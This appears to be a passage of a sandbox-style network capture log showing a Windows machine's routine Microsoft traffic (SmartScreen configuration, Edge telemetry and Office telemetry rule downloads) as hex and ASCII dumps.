2024-11-11 20:59:24 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-11 20:59:24 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-11 20:59:24 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-11 20:59:24 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	58790	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	1025	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358762719&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4636 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
2024-11-11 20:59:24 UTC	4636	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 32 2e 37 31 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-11T20:59:22.718Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"locale
2024-11-11 20:59:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5acff53827ef453ea3532ab7dfe00205&HASH=5acf&LV=202411&V=4&LU=1731358764588; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:24 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a2df5265f44f4d9698925f4bbc7c32ac; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:24 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1869 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	58806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 63eb2845-501e-00a3-1dd5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968jrjrxhC1EWRmmrs00000005hg00000000n2wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	58807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 22e15e04-b01e-0070-3ed5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205924Z-174f7845968n2hr8hC1EWR9cag000000050000000000t1xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	58808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bdd7469a-701e-0053-5fd5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968ljs8phC1EWRe6en00000005ag00000000bu92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	58809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b80249cf-101e-0017-2bd5-3347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968psccphC1EWRuz9s00000005tg0000000035dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	58810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 7cd113ea-e01e-0052-21d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968qj8jrhC1EWRh41s00000005bg00000000gsca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	58815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
